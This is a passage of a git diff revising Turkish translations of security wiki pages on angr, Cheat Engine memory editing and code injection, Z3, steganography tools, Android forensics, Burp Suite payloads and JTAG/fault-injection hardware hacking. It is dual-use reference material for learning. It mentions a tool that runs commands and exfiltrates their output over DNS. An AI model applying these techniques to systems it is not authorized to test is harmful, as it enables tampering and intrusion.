nesneye işaretçi geçmesini istiyorsanız, bunu bir PointerWrapper içinde sarmalısınız, yani `angr.PointerWrapper("point to me!")`. Bu API'nin sonuçları biraz öngörülemez olabilir, ama üzerinde çalışıyoruz. +- Çağrı durumunu kullanmak için, `.call_state(addr, arg1, arg2, ...)` ile çağırmalısınız; burada `addr`, çağırmak istediğiniz fonksiyonun adresidir ve `argN`, o fonksiyona geçilecek N'inci argümandır; bu argüman bir python tamsayı, string, dizi veya bitvector olabilir. Bellek tahsis etmek ve gerçekten bir nesneye işaretçi geçmek istiyorsanız, bunu bir PointerWrapper içinde sarmalısınız, yani `angr.PointerWrapper("point to me!")`. Bu API'nin sonuçları biraz öngörülemez olabilir, ama üzerinde çalışıyoruz. ## BitVectors ```python diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md index 897d14599..f1c699959 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md +++ b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md @@ -201,7 +201,7 @@ raise Exception('Could not find the solution') if __name__ == '__main__': main(sys.argv) ``` -Bu senaryoda, girdi `scanf("%u %u")` ile alındı ve değer `"1 1"` verildi, bu nedenle yığın değerleri **`0x00000001`** **kullanıcı girdisinden** gelmektedir. Bu değerlerin `$ebp - 8`'de nasıl başladığını görebilirsiniz. Bu nedenle, kodda **`$esp`'den 8 bayt çıkardık (o anda `$ebp` ve `$esp` aynı değere sahipti)** ve ardından BVS'yi itmiş olduk. +Bu senaryoda, girdi `scanf("%u %u")` ile alındı ve değer olarak `"1 1"` verildi, bu nedenle yığın üzerindeki **`0x00000001`** değerleri **kullanıcı girdisinden** gelmektedir. Bu değerlerin `$ebp - 8`'de nasıl başladığını görebilirsiniz. Bu nedenle, kodda **`$esp`'den 8 bayt çıkardık (o anda `$ebp` ve `$esp` aynı değere sahipti)** ve ardından BVS'yi itmiş olduk. ![](<../../../images/image (136).png>) @@ -386,7 +386,7 @@ main(sys.argv) > ```python > # Merhaba dünya, benim adım John. > # ^ ^ -> # ^ adres 0 ^ adres 24 (karakter sayısını sayın) +> # ^ adres 0 ^ adres 24 (karakter sayısını sayın) > # Bunu bellekte temsil etmek için, dizeyi dosyanın > # başına yazmak isteyeceğiz: > # @@ -397,9 +397,10 @@ main(sys.argv) > # > # name_bitvector = claripy.BVS('sembolik_ad', 4*8) > # -> # Sonra, program fopen('hello.txt', 'r') çağrısını yaptıktan sonra ve -> # fread(buffer, sizeof(char), 30, hello_txt_file) çağrısını yaptıktan sonra, tampon -> # dosyadan dizeyi içerecek, ancak adın saklanacağı dört sembolik bayt ile. +> # Daha sonra, program fopen('hello.txt', 'r') çağrısını yaptıktan sonra +> # fread(buffer, sizeof(char), 30, hello_txt_file) çağrısını yaptığında, tampon +> # dosyadan dizeyi içerecek, ancak adın saklanacağı dört sembolik bayt ile +> # birlikte. > # (!) > ``` @@ -407,7 +408,7 @@ main(sys.argv) > [!NOTE] > Bazen 16 karakter uzunluğundaki 2 kelimeyi **karakter karakter** karşılaştırmak gibi basit insan işlemleri, **angr** için çok maliyetli olabilir çünkü her if için 1 dal oluşturması gerektiğinden **üstel** olarak dallar üretmesi gerekir: `2^16`\ -> Bu nedenle, **angr'dan önceki bir noktaya ulaşmasını istemek** (gerçek zor kısmın zaten yapıldığı yer) ve **bu kısıtlamaları manuel olarak ayarlamak** daha kolaydır. +> Bu nedenle, **angr'den önceki bir noktaya ulaşmasını istemek** ve **bu kısıtlamaları manuel olarak ayarlamak** daha kolaydır. ```python # After perform some complex poperations to the input the program checks # char by char the password against another password saved, like in the snippet: @@ -479,7 +480,7 @@ if __name__ == '__main__': main(sys.argv) ``` > [!CAUTION] -> Bazı senaryolarda **veritesting**'i etkinleştirebilirsiniz, bu da benzer durumları birleştirerek gereksiz dalları kaydetmek ve çözümü bulmak için: `simulation = project.factory.simgr(initial_state, veritesting=True)` +> Bazı senaryolarda **veritesting**'i etkinleştirebilirsiniz, bu da benzer durumları birleştirerek gereksiz dalları kaydetmek ve çözümü bulmak için kullanılır: `simulation = project.factory.simgr(initial_state, veritesting=True)` > [!NOTE] > Bu senaryolarda yapabileceğiniz bir diğer şey, **angr'ye daha kolay anlayabileceği bir şey vererek fonksiyonu hooklamak**tır. @@ -677,7 +678,7 @@ raise Exception('Could not find the solution') if __name__ == '__main__': main(sys.argv) ``` -### Birden Fazla Parametre ile scanf'ı Simüle Etmek +### Birden Fazla Parametre ile scanf'ı Simüle Et ```python # This time, the solution involves simply replacing scanf with our own version, # since Angr does not support requesting multiple parameters with scanf. diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index b2c36f691..0d7eaf963 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -10,7 +10,7 @@ ![](<../../images/image (762).png>) Bu araç, bir programın belleğinde **bir değerin** (genellikle bir sayı) **nerede saklandığını bulmak için çok yararlıdır**.\ -**Genellikle sayılar** **4bayt** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı bir şey** aramak isteyebilirsiniz. Bu nedenle, neyi **arama** istediğinizi **seçtiğinizden** emin olmalısınız: +**Genellikle sayılar** **4bayt** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı bir şey** aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız: ![](<../../images/image (324).png>) @@ -24,13 +24,13 @@ Belleği tararken **oyunu durdurmak için** kutucuğu işaretleyebilirsiniz: ### Kısayollar -_**Düzenle --> Ayarlar --> Kısayollar**_ bölümünde, **oyunu durdurma** gibi farklı amaçlar için farklı **kısayollar** ayarlayabilirsiniz (bu, belleği taramak istediğinizde oldukça kullanışlıdır). Diğer seçenekler de mevcuttur: +_**Düzenle --> Ayarlar --> Kısayollar**_ bölümünde, **oyunu durdurmak** gibi farklı amaçlar için farklı **kısayollar** ayarlayabilirsiniz (bu, belleği taramak istediğinizde oldukça yararlıdır). Diğer seçenekler de mevcuttur: ![](<../../images/image (864).png>) -## Değeri değiştirme +## Değeri Değiştirme -Aradığınız **değerin** nerede olduğunu **bulduğunuzda** (bununla ilgili daha fazla bilgi sonraki adımlarda) değeri **değiştirmek için** üzerine çift tıklayarak, ardından değerine çift tıklayarak değiştirebilirsiniz: +Aradığınız **değerin** nerede olduğunu **bulduğunuzda** (bununla ilgili daha fazla bilgi sonraki adımlarda) onu **değiştirmek için** üzerine çift tıklayarak, ardından değerine çift tıklayarak değiştirebilirsiniz: ![](<../../images/image (563).png>) @@ -40,13 +40,13 @@ Ve son olarak, bellekteki değişikliği gerçekleştirmek için **onay kutusunu Bellekteki **değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**). -## Değeri arama +## Değeri Arama Öyleyse, geliştirmek istediğiniz önemli bir değer (kullanıcınızın hayatı gibi) olduğunu varsayıyoruz ve bu değeri bellekte arıyorsunuz. ### Bilinen bir değişim aracılığıyla -100 değerini aradığınızı varsayalım, bu değeri arayarak bir **tarama** yapıyorsunuz ve birçok eşleşme buluyorsunuz: +100 değerini aradığınızı varsayalım, bu değeri aramak için bir **tarama** yapıyorsunuz ve birçok eşleşme buluyorsunuz: ![](<../../images/image (108).png>) @@ -54,12 +54,12 @@ Sonra, **değerin değişmesi için** bir şey yapıyorsunuz ve oyunu **durdurup ![](<../../images/image (684).png>) -Cheat Engine, **100'den yeni değere** geçen **değerleri** arayacaktır. Tebrikler, aradığınız değerin **adresini buldunuz**, şimdi bunu değiştirebilirsiniz.\ +Cheat Engine, **100'den yeni değere** geçen **değerleri** arayacaktır. Tebrikler, aradığınız değerin **adresini buldunuz**, şimdi onu değiştirebilirsiniz.\ &#xNAN;_Eğer hala birkaç değer varsa, o değeri tekrar değiştirmek için bir şey yapın ve adresleri filtrelemek için bir başka "sonraki tarama" gerçekleştirin._ ### Bilinmeyen Değer, bilinen değişim -Eğer **değeri bilmiyorsanız** ama **değeri nasıl değiştireceğinizi** biliyorsanız (ve hatta değişimin değerini) numaranızı arayabilirsiniz. +Eğer **değeri bilmiyorsanız** ama **değiştirmek için ne yapmanız gerektiğini** biliyorsanız (ve hatta değişimin değerini) numaranızı arayabilirsiniz. Öyleyse, "**Bilinmeyen başlangıç değeri**" türünde bir tarama yaparak başlayın: @@ -83,7 +83,7 @@ Birçok **mümkün değişim** olduğunu ve sonuçları filtrelemek için bu **a Şimdiye kadar bir değeri saklayan bir adresi bulmayı öğrendik, ancak **oyunun farklı çalıştırmalarında bu adresin bellekte farklı yerlerde olma olasılığı yüksektir**. Bu nedenle, bu adresi her zaman nasıl bulacağımızı öğrenelim. -Bahsedilen bazı ipuçlarını kullanarak, mevcut oyunun önemli değeri sakladığı adresi bulun. Sonra (isterseniz oyunu durdurarak) bulunan **adrese** sağ tıklayın ve "**Bu adrese neyin eriştiğini bul**" veya "**Bu adrese neyin yazdığını bul**" seçeneğini seçin: +Bahsedilen bazı ipuçlarını kullanarak, mevcut oyunun önemli değeri sakladığı adresi bulun. Sonra (isterseniz oyunu durdurarak) bulunan **adrese sağ tıklayın** ve "**Bu adrese neyin eriştiğini bul**" veya "**Bu adrese neyin yazdığını bul**" seçeneğini seçin: ![](<../../images/image (1067).png>) @@ -100,45 +100,45 @@ Artık değeri değiştiren adresi bulduğunuza göre, kodu **istediğiniz gibi Artık kodu, sayınızı etkilemeyecek şekilde veya her zaman olumlu bir şekilde etkileyecek şekilde değiştirebilirsiniz. -### Rastgele Bellek Adresi - İşaretçiyi Bulma +### Rastgele Bellek Adresi - Pointer Bulma Önceki adımları takip ederek, ilgilendiğiniz değerin nerede olduğunu bulun. Sonra, "**Bu adrese neyin yazdığını bul**" seçeneğini kullanarak bu değeri yazan adresi bulun ve üzerine çift tıklayarak ayrıştırma görünümünü alın: ![](<../../images/image (1039).png>) -Sonra, **"\[]"** arasındaki hex değerini arayarak yeni bir tarama gerçekleştirin (bu durumda $edx'in değeri): +Sonra, **"\[]"** arasındaki hex değerini aramak için yeni bir tarama yapın (bu durumda $edx'in değeri): ![](<../../images/image (994).png>) (_Birden fazla görünüyorsa genellikle en küçük adres olanı almanız gerekir_)\ -Artık **ilgilendiğimiz değeri değiştirecek işaretçiyi bulduk**. +Artık **ilgilendiğimiz değeri değiştirecek pointer'ı bulduk**. "**Adres Ekle**" seçeneğine tıklayın: ![](<../../images/image (990).png>) -Şimdi, "İşaretçi" onay kutusuna tıklayın ve metin kutusuna bulunan adresi ekleyin (bu senaryoda, önceki resimde bulunan adres "Tutorial-i386.exe"+2426B0 idi): +Şimdi, "Pointer" onay kutusuna tıklayın ve metin kutusuna bulunan adresi ekleyin (bu senaryoda, önceki resimde bulunan adres "Tutorial-i386.exe"+2426B0 idi): ![](<../../images/image (392).png>) -(İlk "Adres" in, girdiğiniz işaretçi adresinden otomatik olarak doldurulduğuna dikkat edin) +(İlk "Adres"in, girdiğiniz pointer adresinden otomatik olarak doldurulduğuna dikkat edin) -Tamam'a tıklayın ve yeni bir işaretçi oluşturulacaktır: +Tamam'a tıklayın ve yeni bir pointer oluşturulacaktır: ![](<../../images/image (308).png>) -Artık bu değeri her değiştirdiğinizde, değerin bulunduğu bellek adresi farklı olsa bile **önemli değeri değiştiriyorsunuz.** +Artık bu değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.** ### Kod Enjeksiyonu -Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, size puan vermek yerine puanları azaltmak). +Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, size puan vermek yerine puanınızı azaltmak). Öyleyse, oyuncunuzun hayatından 1 çıkaran adresi bulduğunuzu hayal edin: ![](<../../images/image (203).png>) -**Ayrıştırıcı kodu** almak için Ayrıştırıcıyı göster'e tıklayın.\ -Sonra, **CTRL+a** tuşlarına basarak Otomatik derleme penceresini açın ve _**Şablon --> Kod Enjeksiyonu**_ seçeneğini seçin: +**Dizilimi göster** seçeneğine tıklayarak **dizilim kodunu** alın.\ +Sonra, **CTRL+a** tuşlarına basarak Otomatik dizilim penceresini açın ve _**Şablon --> Kod Enjeksiyonu**_ seçeneğini seçin: ![](<../../images/image (902).png>) @@ -150,7 +150,7 @@ Bir şablon oluşturulacaktır: ![](<../../images/image (944).png>) -Bu nedenle, yeni assembly kodunuzu "**newmem**" bölümüne ekleyin ve **çalıştırılmasını istemiyorsanız** "**originalcode**" bölümündeki orijinal kodu kaldırın\*\*.\*\* Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir: +Bu nedenle, yeni assembly kodunuzu "**newmem**" bölümüne ekleyin ve **çalıştırılmasını istemiyorsanız** "**originalcode**" bölümünden orijinal kodu kaldırın\*\*.\*\* Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir: ![](<../../images/image (521).png>) diff --git a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md index 62c1fad9d..9bc173486 100644 --- a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md +++ b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md @@ -74,7 +74,7 @@ print(simplify(a == b)) #This is False ``` ## İmzalı/İmzalı Olmayan Sayılar -Z3, aritmetik işlemlerin imzalı versiyonlarını sağlar; burada **bit vektörünün imzalı mı yoksa imzasız mı** olarak ele alındığı önemlidir. Z3Py'de, operatörler **<, <=, >, >=, /, % ve >>** **imzalı** versiyonlara karşılık gelir. Karşılık gelen **imzasız** operatörler **ULT, ULE, UGT, UGE, UDiv, URem ve LShR.** +Z3, aritmetik işlemlerin imzalı versiyonlarını sağlar; burada **bit-vektörün imzalı mı yoksa imzasız mı** olarak ele alındığı önemlidir. Z3Py'de, operatörler **<, <=, >, >=, /, % ve >>** **imzalı** versiyonlara karşılık gelir. Karşılık gelen **imzasız** operatörler **ULT, ULE, UGT, UGE, UDiv, URem ve LShR.** ```python from z3 import * @@ -94,7 +94,7 @@ solve(ULT(x, 0)) ``` ## Fonksiyonlar -**Yorumlanan fonksiyonlar**, aritmetik gibi, **fonksiyon +**'nın **sabit bir standart yorumu** olduğu yerlerde (iki sayıyı toplar). **Yorumlanmamış fonksiyonlar** ve sabitler **maksimum esneklik** sunar; bunlar, fonksiyon veya sabit üzerindeki **kısıtlamalarla** **tutarlı** olan **herhangi bir yoruma** izin verir. +**Yorumlanan fonksiyonlar**, aritmetik gibi, **fonksiyon +**'nın **sabit bir standart yorumu** olduğu durumlarda (iki sayıyı toplar). **Yorumlanmamış fonksiyonlar** ve sabitler **maksimum esneklik** sunar; bunlar, fonksiyon veya sabit üzerindeki **kısıtlamalarla** **tutarlı** olan **herhangi bir yoruma** izin verir. Örnek: f'nin x'e iki kez uygulanması x'e geri döner, ancak f'nin x'e bir kez uygulanması x'ten farklıdır. ```python diff --git a/src/reversing/reversing-tools/README.md b/src/reversing/reversing-tools/README.md index 994b0c227..2567f74ab 100644 --- a/src/reversing/reversing-tools/README.md +++ b/src/reversing/reversing-tools/README.md @@ -57,13 +57,13 @@ Java bytecode'u decompile etmek için bu araçlar oldukça yardımcı olabilir: ### IDA Kullanarak - **Rundll32**, 64-bit ve 32-bit sürümleri için belirli yollar üzerinden yüklenir. -- **Windbg**, kütüphane yükleme/boşaltma sırasında askıya alma seçeneği etkinleştirilmiş olarak hata ayıklayıcı olarak seçilir. +- **Windbg**, kütüphane yükleme/boşaltma sırasında askıya alma seçeneği etkinleştirilmiş debugger olarak seçilir. - Çalıştırma parametreleri DLL yolu ve fonksiyon adını içerir. Bu yapılandırma, her DLL'nin yüklenmesi sırasında yürütmeyi durdurur. ### x64dbg/x32dbg Kullanarak - IDA'ya benzer şekilde, **rundll32** komut satırı değişiklikleri ile DLL ve fonksiyonu belirtmek için yüklenir. -- DLL girişinde kırılma noktası ayarlamak için ayarlar, DLL giriş noktasında kırılma noktası ayarlamaya izin verecek şekilde ayarlanır. +- DLL girişinde kırılma noktası ayarlamak için ayarlar, DLL girişinde kırılma noktası ayarlamak üzere ayarlanır. ### Görseller diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md index 9b5e6a926..ee30d47db 100644 --- a/src/stego/stego-tricks.md +++ b/src/stego/stego-tricks.md @@ -6,7 +6,7 @@ ### **Binwalk** -Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk) üzerinde mevcuttur. +Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta mevcuttur. ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data @@ -26,7 +26,7 @@ exiftool file # Shows the metadata ``` ### **Exiv2** -Exiftool'e benzer, metadata görüntüleme için. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da ve bir [resmi web sitesi](http://www.exiv2.org/) vardır. +Metadata görüntüleme için exiftool'a benzer. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da bulunmaktadır ve bir [resmi web sitesi](http://www.exiv2.org/) vardır. ```bash exiv2 file # Shows the metadata ``` @@ -50,7 +50,7 @@ strings -e B -n 6 file # 32bit strings (big-endian) ``` ### **Karşılaştırma (cmp)** -Çevrimiçi bulunan orijinal versiyonuyla değiştirilmiş bir dosyayı karşılaştırmak için yararlıdır. +Çevrimiçi bulunan orijinal versiyonla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır. ```bash cmp original.jpg stego.jpg -b -l ``` @@ -62,19 +62,19 @@ Görünüşte boş olan alanlardaki görünmez karakterler bilgi saklayabilir. B ## **Görüntülerden Veri Çıkarılması** -### **GraphicMagick ile Görüntü Ayrıntılarını Belirleme** +### **GraphicMagick ile Görüntü Detaylarını Belirleme** [GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: ```bash ./magick identify -verbose stego.jpg ``` -Hasarlı bir görüntüyü onarmaya çalışmak için, bir meta veri yorumu eklemek yardımcı olabilir: +Hasar görmüş bir görüntüyü onarmaya çalışmak için, bir meta veri yorumu eklemek faydalı olabilir: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` ### **Veri Gizleme için Steghide** -Steghide, `JPEG, BMP, WAV ve AU` dosyaları içinde veri gizlemeyi kolaylaştırır, şifreli verileri gömme ve çıkarma yeteneğine sahiptir. Kurulum `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). +Steghide, `JPEG, BMP, WAV ve AU` dosyaları içinde veri gizlemeyi kolaylaştırır, şifreli verileri gömme ve çıkarma yeteneğine sahiptir. Kurulum, `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). **Komutlar:** @@ -110,7 +110,7 @@ Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [GitHub'da FFTStegPic](https://github.com/0xcomposure/FFTStegPic) +- [FFTStegPic GitHub'da](https://github.com/0xcomposure/FFTStegPic) ### **Stegpy Ses ve Görüntü Dosyaları için** @@ -118,7 +118,7 @@ Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyerek bilgi gömülm ### **PNG Dosyası Analizi için Pngcheck** -PNG dosyalarını analiz etmek veya doğruluklarını kontrol etmek için: +PNG dosyalarını analiz etmek veya doğruluğunu kontrol etmek için: ```bash apt-get install pngcheck pngcheck stego.png @@ -153,7 +153,7 @@ ffmpeg -v info -i stego.mp3 -f null - ``` ### **WavSteg (WAV)** -WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde verileri gizleme ve çıkarma konusunda mükemmeldir. [GitHub](https://github.com/ragibson/Steganography#WavSteg) üzerinde erişilebilir. Komutlar şunlardır: +WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde verileri gizleme ve çıkarma konusunda mükemmeldir. [GitHub](https://github.com/ragibson/Steganography#WavSteg)'da erişilebilir. Komutlar şunlardır: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile diff --git a/src/todo/android-forensics.md b/src/todo/android-forensics.md index f2bc600b7..966f69f51 100644 --- a/src/todo/android-forensics.md +++ b/src/todo/android-forensics.md @@ -1,4 +1,4 @@ -# Android Adli Tahlili +# Android Adli Tıp {{#include ../banners/hacktricks-training.md}} @@ -12,11 +12,11 @@ Bir Android cihazdan veri çıkarmaya başlamak için cihazın kilidinin açılm ## Veri Edinimi -Bir [android yedeği oluşturun](../mobile-pentesting/android-app-pentesting/adb-commands.md#backup) ve bunu [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) kullanarak çıkarın: `java -jar abe.jar unpack file.backup file.tar` +Bir [android yedeği oluşturun adb kullanarak](../mobile-pentesting/android-app-pentesting/adb-commands.md#backup) ve bunu [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/) kullanarak çıkarın: `java -jar abe.jar unpack file.backup file.tar` ### Eğer root erişimi veya JTAG arayüzüne fiziksel bağlantı varsa -- `cat /proc/partitions` (flash belleğin yolunu arayın, genellikle ilk giriş _mmcblk0_ olup tüm flash belleği temsil eder). +- `cat /proc/partitions` (flash belleğin yolunu arayın, genellikle ilk giriş _mmcblk0_ olup tüm flash belleğe karşılık gelir). - `df /data` (sistemin blok boyutunu keşfedin). - dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (blok boyutundan elde edilen bilgilerle çalıştırın). diff --git a/src/todo/burp-suite.md b/src/todo/burp-suite.md index a56bbb4c6..86972bc2e 100644 --- a/src/todo/burp-suite.md +++ b/src/todo/burp-suite.md @@ -1,14 +1,14 @@ {{#include ../banners/hacktricks-training.md}} -# Temel Yükler +# Temel Payloadlar -- **Basit Liste:** Her satırda bir giriş içeren bir liste +- **Basit Liste:** Her satırda bir giriş içeren sadece bir liste - **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için. -- **Durum Değişikliği:** Bir dizi dize üzerinde bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Özel isim - İlk harf büyük, geri kalanı küçük-, Özel İsim - İlk harf büyük ve geri kalanı aynı kalır-). -- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma. +- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulamak (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE ÇEVİR, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-). +- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar üretin. - **Kaba Kuvvet:** Karakter seti, minimum ve maksimum uzunluk. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için yük. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için payload. {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} diff --git a/src/todo/hardware-hacking/README.md b/src/todo/hardware-hacking/README.md index 2482744ee..b5f036982 100644 --- a/src/todo/hardware-hacking/README.md +++ b/src/todo/hardware-hacking/README.md @@ -23,7 +23,7 @@ JTAGulator gibi bir araç kullandığınızda bu talimatlarla karşılaşabilirs Sınır taramaları, dört telli **Test Erişim Noktası (TAP)** testlerini içerir; bu, bir bileşene entegre edilmiş **JTAG test destek** işlevlerine erişim sağlayan genel amaçlı bir porttur. TAP, aşağıdaki beş sinyali kullanır: -- Test saat girişi (**TCK**) TCK, TAP denetleyicisinin tek bir eylem gerçekleştireceği sıklığı tanımlayan **saat**'tir (diğer bir deyişle, durum makinesinde bir sonraki duruma geçiş yapar). +- Test saat girişi (**TCK**) TCK, TAP denetleyicisinin tek bir eylem gerçekleştireceği sıklığı tanımlayan **saat**tir (diğer bir deyişle, durum makinesinde bir sonraki duruma geçiş). - Test modu seçimi (**TMS**) girişi TMS, **sonlu durum makinesini** kontrol eder. Saatin her vuruşunda, cihazın JTAG TAP denetleyicisi TMS pinindeki voltajı kontrol eder. Voltaj belirli bir eşik değerinin altındaysa, sinyal düşük kabul edilir ve 0 olarak yorumlanır; voltaj belirli bir eşik değerinin üzerindeyse, sinyal yüksek kabul edilir ve 1 olarak yorumlanır. - Test veri girişi (**TDI**) TDI, **veriyi çipe tarama hücreleri aracılığıyla gönderen** pindir. Her satıcı, bu pin üzerinden iletişim protokolünü tanımlamaktan sorumludur, çünkü JTAG bunu tanımlamaz. - Test veri çıkışı (**TDO**) TDO, **veriyi çipten dışarı gönderen** pindir. @@ -39,14 +39,14 @@ JTAG portlarını tespit etmenin en hızlı ama en pahalı yolu, bu amaç için JTAG pinout'larını tanımlamanın daha ucuz ama çok daha yavaş bir yolu, bir Arduino uyumlu mikrodenetleyiciye yüklenmiş [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) kullanmaktır. -**JTAGenum** kullanarak, önce **numune alma** cihazının pinlerini tanımlamanız gerekir. Cihazın pinout diyagramına atıfta bulunmanız ve ardından bu pinleri hedef cihazınızdaki test noktalarıyla bağlamanız gerekir. +**JTAGenum** kullanarak, önce **kullanacağınız prob cihazının pinlerini tanımlarsınız**. Cihazın pinout diyagramına atıfta bulunmanız ve ardından bu pinleri hedef cihazınızdaki test noktalarıyla bağlamanız gerekir. -JTAG pinlerini tanımlamanın **üçüncü yolu**, PCB'yi bir pinout için **incelemektir**. Bazı durumlarda, PCB'ler **Tag-Connect arayüzünü** sağlama kolaylığı gösterebilir; bu, kartın bir JTAG konektörüne sahip olduğunun açık bir göstergesidir. O arayüzün nasıl göründüğünü [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/) adresinde görebilirsiniz. Ayrıca, PCB'deki çip setlerinin **veri sayfalarını** incelemek, JTAG arayüzlerine işaret eden pinout diyagramlarını ortaya çıkarabilir. +JTAG pinlerini tanımlamanın **üçüncü yolu**, PCB'yi bir pinout için **incelemektir**. Bazı durumlarda, PCB'ler **Tag-Connect arayüzünü** sağlama kolaylığı gösterebilir; bu, kartın bir JTAG konektörüne sahip olduğunun açık bir göstergesidir. O arayüzün nasıl göründüğünü [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/) adresinde görebilirsiniz. Ayrıca, PCB'deki çipsetlerin **veri sayfalarını** incelemek, JTAG arayüzlerine işaret eden pinout diyagramlarını ortaya çıkarabilir. ## SDW SWD, hata ayıklama için tasarlanmış ARM'a özgü bir protokoldür. -SWD arayüzü, **iki pin** gerektirir: JTAG’ın **TDI ve TDO pinlerine** eşdeğer olan iki yönlü **SWDIO** sinyali ve **TCK**'ya eşdeğer olan **SWCLK**. Birçok cihaz, hedefe ya bir SWD ya da JTAG probu bağlamanızı sağlayan birleşik bir JTAG ve SWD arayüzü olan **Seri Tel veya JTAG Hata Ayıklama Portu (SWJ-DP)**'yi destekler. +SWD arayüzü, **iki pin** gerektirir: JTAG’ın **TDI ve TDO pinlerine** eşdeğer olan iki yönlü **SWDIO** sinyali ve **SWCLK**, JTAG'daki **TCK**'ye eşdeğerdir. Birçok cihaz, hedefe ya bir SWD ya da JTAG probu bağlamanızı sağlayan birleştirilmiş JTAG ve SWD arayüzü olan **Seri Tel veya JTAG Hata Ayıklama Portu (SWJ-DP)**'yi destekler. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/fault_injection_attacks.md b/src/todo/hardware-hacking/fault_injection_attacks.md index 76dbe47cf..cd836b8d3 100644 --- a/src/todo/hardware-hacking/fault_injection_attacks.md +++ b/src/todo/hardware-hacking/fault_injection_attacks.md @@ -1,5 +1,5 @@ # Fault Injection Attacks -Hata enjeksiyon saldırıları, elektronik devrelerde dışsal rahatsızlıklar oluşturarak davranışlarını etkilemeyi içerir; bu da bilgilerin ifşasına veya devredeki belirli kısıtlamaların aşılmasına yol açar. Bu saldırılar, elektronik devrelere saldırmak için birçok olasılık sunar. Bu saldırıya ayrıca elektronik devrelerin glitching'i olarak da atıfta bulunulur. +Fault injection saldırıları, elektronik devrelerde davranışını etkilemek için dışsal rahatsızlıklar tanıtmayı içerir; bu da bilgilerin ifşasına veya devredeki belirli kısıtlamaların aşılmasına yol açar. Bu saldırılar, elektronik devrelere saldırmak için birçok olasılık açar. Bu saldırıya ayrıca elektronik devrelerin glitching'i denir. -Elektronik bir devreye hata enjekte etmek için birçok yöntem ve ortam vardır. +Bir elektronik devreye hata enjekte etmek için birçok yöntem ve ortam vardır. diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md index 9b726b040..a6b238b9e 100644 